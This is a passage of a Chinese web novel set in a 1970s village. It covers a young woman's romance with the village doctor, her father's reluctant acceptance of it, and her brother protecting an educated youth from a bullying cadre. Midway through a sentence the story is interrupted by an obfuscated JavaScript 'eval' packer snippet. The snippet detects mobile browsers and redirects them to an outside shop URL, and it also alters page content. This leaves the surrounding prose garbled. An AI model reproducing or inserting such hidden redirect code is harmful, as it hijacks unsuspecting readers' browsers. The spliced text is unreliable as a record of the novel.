许柏年坐在桌前写东西,侧脸浸在晨光里,睫毛垂落,模样安静又清隽。 她观察了一会儿,心跳渐渐快了起来,深吸一口气,才推门进去。 “许柏年!” 她现在不叫他许医生了,直接喊名字。 许柏年抬眸扫了她一眼,嘴角勾了勾,又低下头继续写。 “来了?” “来了。”钱小满在他对面坐下,双手托腮,眼睛一眨不眨地盯着他。 许柏年被看得不自在,笔尖顿了顿:“看什么?” “看你呀。”钱小满理直气壮,“我看看我对象今天好不好看。” 许柏年耳朵尖红了,垂着眼继续写字,速度明显慢了下来。 钱小满盯着他看了一会儿,手就开始不老实了。她把手伸过去,想去碰他放在桌上的手指。刚碰到一点点,许柏年像被烫了似的,把手缩了回去。 “干什么?”他望向她,又飞快地往门口扫了一眼。 “碰一下怎么了?”钱小满嘟着嘴,“又没人。” “被人看见不好。”许柏年把椅子往后挪了挪,跟她拉开一点距离。 钱小满不高兴了,鼓着腮帮子瞪他。但没过多久,她又忍不住把手伸过去,这次不是碰手指,是直接抓住了他的手腕。 许柏年轻叹了口气,没再躲开。他低头打量着她的手,手指纤细利落,一看就是常干活的人,不娇软也不粗糙,指甲剪得齐齐整整,手背上还留着昨天搓苞谷蹭出的红印。 “你手怎么这么凉?”钱小满摸了摸他的手腕。 “降温了就这样。” “那我给你暖暖。”她把他的手拉过来,两只手捂着,还凑上去哈了一口气。 许柏年注视着她低头哈气的模样,眸色渐软,一言不发。 过了一会儿,外面有人经过,他把手抽了回去。钱小满不开心地瘪起嘴,他低声开口:“晚上。” 她的眼睛一下子亮了:“你说的啊,不许赖。” 许柏年没应声,低头继续写字,嘴角悄悄弯了弯。 到了晚上,钱小满又来了。这回天已经黑了,村里没什么人在外面走动。她推开卫生室的门,许柏年正在收拾药柜,见她进来,把最后一个药瓶放好,转过身。 “怎么又来了?” “来看你呀。”钱小满笑嘻嘻地走过去,这回不客气了,直接拉住他的手,“白天不让拉,晚上总行了吧?” 许柏年没躲,也不多言,只是把她的手握住了。他的手比她宽很多,手指修长,指节分明,手心有点粗糙,但很暖和。钱小满被他握着,心里美滋滋的,像只偷腥的小猫。 “许柏年,你手真大。”她翻来覆去地端详他的手,把手指插进他的指缝里,比了比大小,“你看,比我长这么多。” 许柏年低头望着两个人交握的手,忽然开口:“你的手怎么这么不老实?” 钱小满愣了一下,随即笑出了声:“手又不会说话,是我想说话。” “那你别说了。” “不行,我憋不住。”她晃了晃他的手,“许柏年,你以后每天都拉我的手好不好?” 许柏年没回答,手上的力道重了一点,显然没拒绝。 钱小满又得寸进尺:“在外面也要拉。” “不行。” “那在没人的地方拉。” “……嗯。” 钱小满满意了,靠在他肩膀上,闻着他身上淡淡的皂角味,心里甜得像吃了槐花蜜。 周末,振国振兴又来补课了。 两个孩子现在学习劲头足得很,不用催就自觉坐下写题。许柏年坐在对面讲题,钱小满照旧在旁边陪着。 只是今天,她格外不安分。 许柏年在给振国讲数学,她在桌底下用脚尖轻碰他的腿。许柏年瞥了她一眼,没理。她又碰了一下,他依旧没反应。她干脆伸手过去,在他手背上画圈。 许柏年把她的手拨开,继续讲题。 钱小满又伸过去,这次直接握住了他的手指。 许柏年停下讲课,投向她的目光里有无奈,有宠溺,就是没有不耐烦。 “别闹。”他声音不大,语气不像训斥,更像哄小孩。 “我没闹。”钱小满眨眨眼,一脸无辜。 振国抬起头,看看这个,又看看那个,总觉得气氛有点奇怪,可说不上来哪里奇怪。 许柏年轻咳一声,继续讲题。钱小满的手还握着他的,他没再抽开,只是把书本往旁边挪了挪,挡住两个孩子的视线。 钱小满看在眼里,心里甜得冒泡。他对她跟对别人就是不一样,要是振国振兴在他讲课的时候捣乱,他早就板起脸了。可她捣乱,他就不生气,就是无奈地拿她没办法,原来这就是不强扭的瓜吗,比强扭的甜多了! 这叫什么呢?她想不出来,但就是觉得甜。 补课结束,钱小满送振国振兴出门,钱金宝骑自行车送两个孩子回家。 她回到院子里,许柏年已经把桌子收拾好了。 “许柏年,”她站在门口,歪着头看他,“你刚才为什么不生气?” “生什么气?” “我捣乱啊。要是振国这样,你肯定会批评他。” 许柏年淡淡扫过她:“你不是振国。” “那我是什么?” 许柏年走过来,在她额头上轻弹了一下:“你是麻烦。” 钱小满捂着额头,笑嘻嘻的:“那你喜欢这个麻烦吗?” 许柏年径自转身去倒水。 钱小满跟在他后面,追着问:“喜欢不喜欢?你说嘛。” 许柏年端着水杯喝了一口,放下杯子,忽然回过头,目光落在她身上。他的眼里有笑意,还有点拿她没办法的认命。 钱小满被他看得心砰砰跳,瞬间忘了追问了。 她发现,许柏年这个人,嘴上从来不说什么好听的,但他的眼神会说话。 钱小满这几天心情好得不像话,整个人都冒着傻气。 吃饭的时候,她端着碗,吃着吃着就笑了。 姚红霞敲了敲桌子:“瓜笑啥呢?碗里冒红烧肉了?” “没、没笑。”钱小满赶紧收住,狠狠咬了两口馍,又忍不住笑了。 钱多来放下碗筷,抹了一把嘴,纳闷不已:“这碎娃最近咋滴了?总不能是脑子让驴踢了?” “爹!”钱小满不满地喊了一声,但嘴角还是压不下去。 钱金宝在旁边闷头吃饭,头都没抬。他最近话少了很多,也不怎么跟人开玩笑,整个人蔫蔫的。 钱小满注意到她哥萎靡不振,心里只能干着急,拿他一点办法也没有。 吃完饭,钱金宝主动洗碗,她凑过去,小声问:“哥,你最近咋了?” “没咋。”钱金宝把碗放进盆里,声音闷闷的。 “是不是还想着文知雅?” 钱金宝一言不发把碗洗完了,甩了甩手上的水,走了。 钱小满看着他的背影,叹了口气。 她这边和许柏年甜甜蜜蜜,她哥那边苦哈哈的,老天爷也太不公平了。 她哥为什么就吊死在一棵树上呢? 腰鼓队排练的时候,文知雅也去了。 她不爱凑热闹,对这类喧闹场面没什么兴趣,是知青点的人硬拉着她过去。 就连要好的同伴也劝她:“去转转吧,外头正热闹呢,整天闷在屋里看书,脑子都看坏了。” 她拗不过众人,再加上心里存了点别的念头。最近正打算写篇歌颂乡土风情、赞美社员精神面貌的稿子,多看看基层热闹景象好积累素材,把文章写得真实些。写得好,将来对考大学和争取回城名额都是加分项。 这么一想,她便跟着一同去了。 走到打谷场边上的时候,有人喊了一声:“哟,那不是支书家的金宝吗?” 文知雅顺着那人的目光看过去,钱金宝正在场中间敲腰鼓。 她一眼就看到了他。 不是因为他在人群中多显眼,而是因为他跟别人不一样。旁边那些汉子都脱了褂子,赤着膀子敲得满头大汗,只有他衣服还穿在身上,袖子卷到胳膊肘,露出一截结实的小臂。他敲得格外认真,跟着鼓点的节奏,又重又稳,身子随着鼓点转动,动作舒展有力,浑身上下透着一股硬朗劲儿。 平时他总是一副憨厚老实的样子,见了她就挠头笑,话都说不利索。可这会儿,他像是换了个人,专注、有力、甚至有点让人刮目相看。 文知雅目光只停了片刻,便收了回来。 “走吧。” 旁边的知青打趣:“不多看两眼?人家对你可是真心的。” “我跟他没关系。”文知雅语气淡淡的,头也不回地走了。 她走了几步,鬼使神差地回头看了一眼。 钱金宝还在敲鼓,没注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478222|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意到她。 文知雅咬了咬嘴唇,加快脚步走了。 自从她找钱小满说开后,钱金宝不再像以前那样大张旗鼓地往知青点跑了。 他还是对她好,只是换了一种方式。 轮到自己打扫卫生时,院子里的水缸永远是满的,厨房门口总会堆着一捆劈好的柴。偶尔她从地里回来晚了,窗户上放着一个油纸包,里面是两个白吉馍。 她心里清楚是谁,默契地当做不知道。 她没有去找他,也没跟任何人提起。 知青点管着她的赵干部,听说她跟钱金宝断了,又变回了原来的嘴脸。以前钱金宝隔三差五来知青点,赵干部对自己客客气气的,不敢多说什么。现在听说两个人没关系了,赵干部的胆子又大了起来。 这天,文知雅在院子里晾衣服。她长得白净,身段又好,就算只是抖开衣服、挂到晾衣绳上,一举一动都透着股城里姑娘独有的秀气,格外赏心悦目。 赵干部从门口路过,一眼就撞见这幕,心里的酸气立马就翻上来了。 论年纪,她比文知雅大上一截。论模样,更是比不过人家白净周正。尤其是她无意间撞见自家男人在文知雅面前献殷勤,这事她一直记在心里。 以前她还能公报私仇,让文知雅去干最苦最累的活。后来钱金宝不知道哪根筋不对,天天往知青点跑,罩着文知雅,她只能憋着心里的火气。现在听说两人断了关系,她积压许久的妒火一下子就压不住了。 赵干部往门框上一靠,阴阳怪气地开口:“哟,文知青,怎么没人给你送东西了?不是说你攀上了支书家吗?怎么,人家这是看不上你了?” 文知雅自顾自整理衣裳,权当没听见。 见她不接茬,赵干部更来气了,凭什么这人安安静静待着都比自己亮眼? 她几步上前,一把扯下刚晾好的衣裳,扔在地上:“我跟你说话呢,装什么听不见?摆什么臭架子?” 文知雅弯腰去捡,赵干部故意一脚踩在衣服上,不让她拿。 “你——” 文知雅愤然抬眼看她,眼眶已经红了,却咬着唇一声不吭。 “怎么?不服气?”赵干部双手叉腰,气焰更盛,“你以为你还是那个有人护着的金贵知青?在这大队里,你就得老老实实听我的!” 说着,她伸手一推。 文知雅没站稳,踉跄着后退两步,眼底翻着怒意。 “你在干什么?” 一个低沉的声音从院门口传来。 赵干部惊恐回头,钱金宝站在门口,手里提着一捆柴,脸黑得像锅底。 “金、金宝……”赵干部的脸一下子白了。 钱金宝把柴往地上一撂,大步走过来。 他个子高,块头大,站在赵干部面前,像一堵墙。他平时看起来憨厚老实,可这会儿脸色沉下来,浑身上下透着一股让人发怵的凶劲儿。 “你刚才推她了?”他的声音不高,充满威慑力。 赵干部往后退了一步:“我没有,我就是跟她开个玩笑。你说是吧,文知雅?”她疯狂向文知雅使眼色。 “开玩笑?”钱金宝往前逼近一步,“你踩着她衣服,差点把她推到地上,这叫开玩笑?” 赵干部嘴唇哆嗦着,一个字也说不出来。 “我告诉你,”钱金宝瞪着她,一字一顿,“她要是再受一点委屈,不管你是谁,我让你在这大队待不下去。你信不信?” 赵干部连滚带爬地跑了。 院子里安静下来。 钱金宝转过身,目光落在文知雅身上。她眼眶红红的,头发有点乱,强忍着不让眼泪流出来。 他喉头动了动,想说点什么,又怕惹她烦。他弯下腰,把地上的衣服捡起来,拍了拍上面的土,递到她面前。 文知雅默默接过。 “你没事吧?”他问。 “没事。”文知雅低着头,声音沙哑。 钱金宝有些手足无措。他想问她有没有受伤,想问她有没有别的地方被欺负,但他嘴笨,问不出口。 “以后她再欺负你,你告诉我。”他最后说了这么一句。 文知雅静静望向他。 他的眼神很认真,没有别的意思,就是担心她。 “谢谢,你不用这样。”她声音轻轻的,“我说过了,我们不可能的。” “我知道。我不用你答应我什么。” 文知雅欲言又止,最终还是把话咽了回去。 钱金宝转身走了。走到院门口,他停下来,没回头。 “我给你带了点柴,放门口了。” 说完,他走了。 文知雅站在院子里,望着他离去的方向出神片刻,低头理了理手里皱巴巴的衣服,重新挂好。 随后她蹲下身,默默把那捆柴搬回了屋。 16. 往回走 钱小满最近越来越不满足了。 每次许柏年跟她说话,她的注意力全在他嘴唇上,心里只有一个念头——想亲。 她不知道自己为什么会有这种想法。追求他的时候,满脑子只想着以后跟他回城,自己能过好日子。在一起后,她爱看他低头写字专注的样子、会盯着他喝水时喉结滚动,以及被她逗笑时嘴角弯起来的弧度,心里痒痒的,像有只小猫在挠。 她把自己心里的小秘密跟杏花分享了,没敢说想亲嘴,只说想跟许医生再亲近一点。李杏花红着脸骂她不害臊,钱小满反而理直气壮:“我跟我对象,害什么臊?” 这话说出口倒像是给她自己壮了胆。 又是一个适合小情侣约会的傍晚。天色刚擦黑,月亮早早悬在天上,清晰地照着远处的山塬和沟壑。两个人坐在卫生室后院的长凳上,钱小满靠在他肩头,手被他握着,心里有点痒痒。 她抬起头,偷偷望向他的侧脸。月光下他的轮廓很清晰,鼻梁高挺,嘴唇偏薄,抿着的时候显得有点冷淡,但她知道嘴再硬的男人,嘴巴亲起来都是软的。 “许柏年。”她轻轻开口。 “嗯。” “我想亲你。” 许柏年顿时呆住了,他缓缓转脸看她。月光下她的眼睛亮晶晶的,带着点期待,还有点害羞。但只持续了一秒,就被大胆盖过去了,满脸都是期待。 “不行。”他毫不犹豫拒绝。 “为什么?” “还没到时候。” 钱小满不死心:“什么时候才算到时候?” 许柏年略一沉吟:“等见过你父母,他们同意了才可以。” 钱小满震惊地瞪大眼睛:“那是以后的事,现在先亲一下怎么了?”他也太谨慎了吧。 “不一样。”许柏年别过脸,耳尖红了,“这种事情必须得认真。” 钱小满看见他红透的耳朵,心里又好气又好笑。她见过村里年轻人搞对象,躲在草垛后面亲嘴的多了去了,亲上头了还会在身上乱摸,谁还等见过父母? 许柏年这么正经,显得自己好不矜持。她偏不信邪,表面上没再说什么,心里默默开始盘算。 没过多久,机会就来了。 许柏年送她回家,两个人沿着村道慢慢走。还不到八点,天就黑得透透的,方才还亮着的月亮被乌云彻底遮住。近来又降了温,村里人早早缩回屋里,外头连个人影都没有。 走到家门口,钱小满停下来。 “许柏年,我跟你说个秘密。”她踮起脚尖,凑到他耳边。 许柏年微微侧头,等着她开口。 她飞快地在他脸颊上亲了一口,“啵”的一声,在安静的夜里格外清脆。 亲完她转身就跑,进院门回头冲他做了个鬼脸,然后迅速把门关上了。 许柏年站在树下,好几秒没反应过来。 他摸了摸被亲过的地方,脸上的表情从愣怔到无奈,最后嘴角弯了起来。他在树下静立片刻,才转身离去。 钱小满靠在门板上,心跳得咚咚响,她捂着嘴笑个不停。 得逞了! 她摸了摸自己的嘴唇,刚才那一瞬间,他的脸有点凉,但皮肤很滑。她忽然觉得,亲脸已经不够了,下次得亲嘴。 这个念头把她自己都吓了一跳。 然而让她措手不及的是,她还没来得及实施亲嘴计划,另一件事先来了。 这天下午,钱小满和许柏年约好了去村后面的山坡。那里有片酸枣林,十月底的酸枣早红透了,挂在枝头上没人管,也少有人来。两个人坐在一棵老枣树下面,靠着树干,肩挨着肩。 钱小满缠着许柏年讲他小时候的事。 “你们城里人住的什么房子呀?”她歪着头问,眼里全是好奇,“是不是都是楼房?” 许柏年想了想:“我家住的是小洋楼,上下两层,还有个小院子。院子里种了一棵石榴树,每年秋天结一树的果子,我妈拿它熬糖水喝。” “小洋楼?”钱小满眼睛瞪大了,“那是什么样子的?” “砖瓦房,外面刷的白墙,窗户很大,比咱们这儿的窗户大一倍。屋里是水晶灯,晚上家里亮如白昼。” 钱小满想象了一下,觉得像梦里看到的那种房子。她咽了咽口水,又问:“你们家有什么?我是说,除了桌子椅子,还有什么新鲜东西?” “有沙发。”许柏年想了个说辞,“软软的,坐上去会陷进去的椅子。弹簧的,比木头椅子舒服多了。” “沙发。”钱小满念叨着这个生僻词,觉得新鲜,“比炕褥子还软吗?胖子坐上去会不会压坏了?” “很软,里面是弹簧和海绵,在上面蹦跳都可以。” 钱小满羡慕地幻想:“那你们吃什么?是不是天天吃大米饭和白面馍?” 许柏年笑了一下:“差不多。早上喝牛奶,吃面包。中午和晚上有米饭、炒菜,有时候吃肉。” “牛奶?是牛身上挤出来的奶?”钱小满不可置信,“那个能喝?不腥吗?” “不腥,煮过的,有点甜。” 钱小满舔了舔嘴唇,她连牛奶什么味儿都不知道。小时候喝过羊奶,不好喝,腥气。 她又问:“你们穿什么衣服?是不是都是洋装?” 许柏年轻笑:“不全是。平时穿衬衫、裤子,冬天穿大衣和棉袄。我小时候有一件小西装,是我妈找人定制的。后来……长大了穿不了,就烧了。” 钱小满听得眼睛都直了,“你小时候就穿西装了?!我连见都没见过几次,怎么会烧了呢。”她遗憾不已,留给她改成裙子也行啊。 她低下头,揪着衣角,克制住内心的欣喜,小声说:“真羡慕你们城里人的生活。住的房子又大,吃的也好,穿的也好。不像我们,住窑洞,吃糠咽菜,我还穿着我姐的旧衣服呢。” 许柏年摸了摸她脑袋,并未多言。 “后来呢?”钱小满仰起脸,“后来你爸妈出国了,那些东西呢?” 他神色黯淡下来:“房子被收了,家具都不在了。” 钱小满忽然有点不是滋味。他爷爷奶奶住在破窑洞,他住在卫生室里,铺板白天收起来晚上铺开。他小时候住过小洋楼,坐过沙发,喝过牛奶,穿过小西装,现在却什么都没了。 她贴着他手臂,声音软软的:“等以后政策好了,说不定你就能回去了,还能住小洋楼,还能坐沙发。” 许柏年没告诉她,自己决心留下来,不准备回城了。父母出国的时候他才十三四岁,以为他们过几年就会回来。后来信越来越少,直到彻底失去联系。 爷爷奶奶被送到乡下那年,他还在读书。他毕业时大学生分配工作还能自己选择,但他放心不下爷爷奶奶,加上城里局势越来越紧张,他主动申请调到爷爷奶奶所在的公社。安延县是老革命根据地,对知识分子还算宽容,爷爷奶奶能安排到这里,已经是托了熟人的福。 两个人靠在一起,有一搭没一搭地说着话。钱小满觉得,这种日子真好,好得让她觉得不真实。她靠在他肩膀上,闻着他身上淡淡的皂角味,心里想,城里人谈恋爱应该也是这样吧? 她正想着,身后传来一声咳嗽。 “咳。” 这声音太熟悉了。 钱小满浑身一僵,慌忙扭头。 钱多来站在山坡上,背着手,脸黑得像锅底。他穿着一件灰色棉褂子,头上戴着毡帽,肩上扛着锄头。他站在那儿,太阳从他身后照过来,把他的脸映得一片黑。 “爹……”钱小满的声音小得像蚊子。 许柏年立刻站起身,浑身紧绷,主动打招呼:“钱叔。” 钱多来只对他略一点头,目光便牢牢落在钱小满身上,压着心头火气,沉声道:“往回走!” 钱小满浑身一紧,这话她小时候听过无数次,每次两个哥哥在外面惹了事,她爹只要说出这三个字,就意味着外面不好揍他们,得回家关起门来打。 她低着头,乖乖地站起来。匆忙中看了许柏年一眼,拼命给他使眼色,让他别跟来添乱。 许柏年眉头微皱,往前迈了一步。 她对着他疯狂摆手摇头。 许柏年停住了。 钱多来转身走了,钱小满小跑着跟上去,不敢回头。 许柏年站在山坡上,目送父女二人渐行渐远。他很想跟上去和她一起面对,小满恐惧的眼神告诉他,现在跟上去只会让事情更糟。 钱小满跟着父亲回到家,一路无话。 进了院门,钱多来把锄头往墙根一靠,进了堂屋,在饭桌前坐下,一言不发。 钱小满站在门口,不敢进去,也不敢走。 姚红霞从厨房出来,见这气氛微一错愕:“咋了?” 父女俩都没吭声。 姚红霞见俩人不搭理自己,心里大概有了数,没再问,转身回厨房继续端菜。一盘土豆丝,一碟咸菜,一盆玉米面糊糊,还有几个白面馍。 钱金宝从里屋出来,发现气氛不对,妹妹垂着脑袋,他带着诧异在桌边坐下。 全家人都坐齐了,饭在桌上冒着热气,谁也没动筷。 钱小满手指头在桌子底下绞来绞去。 钱多来终于开了口:“你跟许柏年到哪一步了?” 话一出口,姚红霞和钱金宝惊呆了。 钱小满脸一红:“就是拉拉手,没别的。” “没别的?没别的你们俩靠那么近?”钱多来提高了音量。 她弱弱反驳:“就靠在一起,不算近吧。” “还不算近?”钱多来一巴掌拍在桌上,“我都看见了!你靠在他肩膀上,他搂着你,这叫不算近?” 钱小满吓得一哆嗦,不敢说话了。 姚红霞在旁边劝了一句:“有话好好说,拍桌子干啥?” 钱多来干瞪着她,压了压火气,又问:“你是不是铁了心要跟他处?” 钱小满迎上父亲的目光,坦坦荡荡:“爹,他不是坏人。” “我没说他坏。他家那个成分,你嫁过去有你受的。” “成分又不是他自己选的。”钱小满小声辩解,“他爹妈是公派出国,又不是他送出去的,他当时才多大。” “那他就更不该拖累你。”钱多来瞪着女儿,“你嫁给他,以后孩子也随他成分,你想想清楚!” 钱小满咬了咬嘴唇,决定告诉父母真相:“爹,你知道他为啥来咱们村吗?” 钱多来怔住:“啥?不就是接受改造,还能有啥原因?” “他是自愿来的。”她把许柏年在火车站救人的事一五一十地说了,“他不是成分不好受连累,他读完了大学,说明他成分是好的。” 堂屋里安静了片刻。 姚红霞和钱金宝没参与其中,都等着钱小满的下文。 “你说这些,是真的?”钱多来不太相信。 “我骗你干啥?杏花她姑姑在县医院当护士,亲口说的。许医生的爷爷奶奶也在村里,你们不信可以去问。” 钱多来不作声,姚红霞先开了口:“这孩子,人品不坏。” “我说真的,”姚红霞认真道,“成分不是他能选的,但他做的事,说明他这个人有良心、有担当。人家本来能在县医院当大夫,为了不影响别人,自己申请到乡下来,这思想觉悟,比那些闹着要回城的知青强多了。” 钱金宝被娘这话戳中心事,眼神闪了闪:“我也觉得许医生人不错。振国振兴的成绩是他一手提上来的。咱姐在婆家腰杆子硬了,这都是许医生带来的。” 钱多来阴阳怪气:“你倒会帮他说好话。” “我说的是实话。” 钱小满不再低着头,她目光毫不畏惧,等着父亲发话。 钱多来久久没有反应,再次开口时,语调缓了下来:“我不反对,也不赞同你们俩。但是有一点,在外面注意点,别让人说闲话。村里那些碎嘴婆子,见风就是雨,传出去不好听。我这老脸丢不起,你也要做人。” 钱小满眼睛一下子亮了,差点跳起来,但还是压住了,乖乖点头:“知道了,爹。” “行了,吃饭吧。”钱多来端起碗,拿起筷子。 全家人这才动起筷子。 明明没有荤菜,钱小满却觉得今天的饭菜格外香。 就在这时,外面传来敲门声。 钱小满心里一跳,放下碗跑出去开门。 院门口站着许柏年。他换了一身干净衣裳,手里提着沉甸甸的布兜,不知道装的什么。 见开门的人是钱小满,他下意识看向她身后。 钱小满大大咧咧让开门口,请他进来:“没事,进来吧。” 许柏年进了院子,堂屋里一家人正围着饭桌吃饭,脚步顿了一下。 他特地等着钱家吃完饭的时间才来的,估摸着时间差不多了才敲门。没想到他们今天开饭这么晚,正撞上了。 他站在堂屋门口,微 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钱多来盯着许柏年看了好一会儿,才开口:“你对她是真心的?” “是。”许柏年没有犹豫,“以结婚为目的。” 这话一出,屋里安静了一瞬。 钱小满的脸更红了,她不敢抬头看众人的反应,手指头在衣角上绞来绞去。她没想到许柏年会说这种话,在她的印象里,他从来不会说这么直白的话。 钱多来脸色缓和了些,咳了两声:“你们年轻人的事,我本来不该管。但你俩在外面,要注意影响。村里人多嘴杂,传出去不好听。” “知道了,钱叔。”许柏年点头。 “还有,你的成分……我不是嫌弃你。你的家庭背景注定你俩以后的路不好走。你要是真心对她,就得让她过好日子,不能让她跟着你受委屈。” 许柏年看向钱多来,眼神认真:“钱叔,我不会让小满跟着我受苦。我会努力,不管以后怎么样,我都会对她好。” 钱多来摆了摆手:“行了,坐下吃点吧。” “不了,钱叔,我先回去了。”许柏年把布兜放在桌上,“这是朋友送的两罐槐花蜜。” 钱多来没推辞:“路上慢点。” 许柏年走到门口,忍不住回头看钱小满。 “我去送送他!”钱小满不等父母答应,就追了出去。 姚红霞在后面喊了一句:“送完快回来吃饭,饭都凉了!” “知道了!” 两个人出了院门,走到树下。 “你没事吧?”许柏年上下打量她,“你爹没打你吧?” “没有。”钱小满笑嘻嘻的,一副心大的模样,“我爹就是嘴硬,他舍不得揍我。你猜我说了什么,他就同意了。” “什么?” “我把你救人的事跟他讲了,你是自愿下乡的。”钱小满得意地扬起下巴,“怎么样,我聪明吧?” 许柏年凝着她,眼神软了下来:“谢谢你。” “谢什么?你是我对象,我当然要帮你。”钱小满兴奋地跟他分享好消息,“我爹说不反对我们处对象,就是不要在村里太高调。他说注意影响,你懂什么意思吗?” “懂。” 她踮起脚尖,凑到他耳边:“以后我们可以在没人的地方亲嘴了哦。” 许柏年往门口望了望,确认没动静才松了口气。 他又窘又无奈,声音放得极轻:“别胡说,让人听见像什么样子,你的脑袋都在想什么。” “想你呀。”钱小满笑得眼睛弯弯的,他怎么这么不禁撩。 许柏年耳根红透,连脖子都染上一层薄热,伸手在她脑袋上揉了揉:“快回去吃饭吧,你家人还等着。” “那你呢?” “我回去了。” “那你路上慢点。” “嗯。” 钱小满坐下来,父亲什么都没说,她知道这是同意了。虽然嘴上没说,但他没再反对,就是最大的让步。 吃完饭,钱小满主动去洗碗。 钱金宝不知道什么时候走了进来,靠在门框上。 “哥?”钱小满抬起头,“你咋不去歇着?” 钱金宝站了一会儿,突然问道:“小满,你跟许医生……你是怎么让他对你动心的?” 钱小满手里的碗差点滑了。 “就是死缠烂打呗,经常出现在他面前,嘴巴甜一点,没怎么主动。”她含糊地说,“他很单纯,没谈过恋爱,所以我比较容易得手。” 钱金宝静静立着,目光有些放空。 钱小满知道他在想什么,叹了口气,放下碗,擦了擦手。 “哥,文知雅跟许柏年不一样。他爷爷奶奶在村里,回城的想法不强烈。文知雅是被家里安排下来的,她肯定想回去。你跟她的路不一样,走不到一块儿的。” 钱金宝沉默着。 “哥,你就不能看看别的姑娘吗?咱村那么多好姑娘……” 钱金宝打断她:“我心里有数。” 钱小满委屈地闭嘴,她现在看到□□渐消瘦的脸,心里就堵得慌。 她想告诉他,梦里的文知雅以后会嫁给陈强,是因为陈强家里有钱,能供她读书。她不敢说,以她哥的性子,万一铤而走险去挣钱怎么办?现在这时候,投机倒把可是要坐牢的。 “哥,”她换了个话题,笑嘻嘻地说,“你说万一我比你结婚早,你会不会被人笑话?” 钱金宝顿时愣住,然后笑了。 这是他这些天来第一次发自内心的笑。 “你从小性子就急躁,什么事都比别人急,没想到找对象也急。” “我才不急呢!”钱小满抗议。 钱金宝看着她,不禁感慨:“我记得你小时候,小小一团跟在我屁股后面跑,跑不快就哭,哭了我就得背你。一转眼,你都要嫁人了。” 钱小满鼻子一酸,扭过头不看他:“谁说要嫁了?我嫁人还早着呢!” “不早了。”钱金宝笑了笑,“小满,你比哥强。”说完他就走了。 钱小满站在厨房里,手里抓着抹布,感到一阵心烦意乱。她比哥强什么?强在她运气好?还是强在她脸皮厚? 她哥这个人太死心眼了。认准了一个人就再也不看别人了。 她认命地叹了口气,收拾完厨房回屋躺下了。 17. 你是不是吃醋了 十月底的北风像刀子似的割在脸上。 早晨起来,院子里结了一层薄霜,踩上去嘎吱嘎吱,一不留神就会打滑。 钱小满端着盆洗脸水从屋里出来,泼到院墙根底下,水蒸气没多久就散了。 姚红霞在厨房里喊:“小满,去菜窖搬一筐萝卜过来,今儿得腌上了,你三哥回来爱吃。” “哎,知道了。”她放下盆,往手心哈了口气,搓了搓手,去菜窖搬萝卜。 一筐萝卜不轻,她搬得龇牙咧嘴,钱金宝刷完牙过来,一把拎起来:“我来吧。” 钱小满跟在后面,望着她哥瘦了一圈的背影,长叹一口气。 冬天快来了,二哥饭量变小,人也蔫巴巴的,该干的活一样没落下。人家都是秋冬天囤膘,二哥却越来越瘦。 “哥,三哥快回来了,你高兴不?”她没话找话。 钱金宝把萝卜筐放在厨房门口,带着点鼻音:“高兴。” “你就不想他?” “想。” 钱小满撇了撇嘴,知道他不想搭理自己,也不问了。 钱银宝的信是半个月前到的,部队批准了探亲假,大概十一月初到家,算算日子,还有一周就回来了。 全家人齐上阵,把钱银宝成了杂货间的屋子从里到外收拾了一遍,起了蛀虫的床腿重新打磨,床板刷洗暴晒了两天,被褥也重新拆洗。昨天又让钱小满去供销社买了白糖和红糖,提前准备洗净晾干了红枣,就等着银宝回来给他做红糖馒头。 “妈,三哥又不是客人,你整这么隆重干啥?”钱小满坐在厨房门口削萝卜皮,姚红霞在灶台前忙活。 “你三哥难得休假回来,在外头吃苦受累的,回来不得好好补补?”姚红霞头也没抬,“对了,你姐说等银宝回来,她也要回来住两天。以后小强每周过来,送振国振兴补课。” “姚小强?”钱小满随口问了一句。 “对,天儿一冷黑得早,你姐夫不放心让你姐送俩孩子,就叫小强代劳了。” “哦。” 钱小满继续削着萝卜。她对姚小强没什么兴趣,脑子里想的全是许柏年。 自从许柏年来过家里,俩人关系过了明路,私底下见面约会的机会反倒少了。她爹没阻拦过,是她自己心里有鬼。她老想着亲嘴,可许柏年看起来不是很想,她也不好意思再提。 前几天晚上,许柏年送她回家,走到门口,她故意磨磨蹭蹭不肯进去。许柏年静静看着她,月光下他的脸有点模糊,可嘴巴看起来格外好亲。 最后是他终于忍不住问:“怎么了?” “没怎么。”她低着头,脚尖在地上画圈,“就是想跟你再待一会儿。” 许柏年抬手碰了碰她的脸颊。他的手指凉凉的,从她的颧骨滑到下巴,又缩回去了。 钱小满的心跳得像打雷似的,以为他要亲她了,结果他就说了一句:“进去吧,天冷了。” 她当时差点没气死。 夜里躺在床上,她翻来覆去睡不着,一直在想许柏年到底什么意思?碰脸算怎么回事?亲一下能怎么样? 她又不好意思直接问。她追他已经够主动了,再主动就显得她不矜持了。虽然她本来也不怎么矜持,但也不能太过分。 于是她只能忍着。每次见面,她盯着他的嘴唇,真想不管不顾啃一口,只能暗暗掐自己大腿克制。 周六一大早,姚小强骑着车过来了。前面坐着振兴,后座坐着振国,俩人手里各拿着一根香气扑鼻的烤红薯。 姚小强穿着一件深蓝色棉袄,头发特地打了发蜡。他把自行车支在院门口,从车上解下来一个布兜,里面装着几个苹果和一瓶罐头。 “姨,这是金玉姐让我给带的东西。” 钱小满的目光黏在苹果上,她好久没吃过苹果了。 姚红霞笑着迎上去:“金玉咋还让你给带东西,你们理发店忙不忙?” “忙,最近烫头的人多,我也能上手给客人烫了。”姚小强笑着,“等年前您来城里办年货,我再给您烫个时兴发型,咱们自己人,不收钱。” “那敢情好啊。”姚红霞接过东西,上下打量他,“比夏天瘦了,是不是没好好吃饭?” “哪有,我吃得可多了。”姚小强目光扫了一圈院子,落在钱小满身上,“小满好像又长胖了,脸都圆了一圈。” 钱小满有点生气,十天半月才能吃上一顿肉,哪里就胖了? 她敷衍地打了声招呼:“小强哥。” 姚小强目光在钱小满脸上停了片刻,才慢慢移开。 许柏年是一刻钟后来的。 一进院子,看见钱金宝和一个陌生年轻人在聊天,脚步慢了下来。 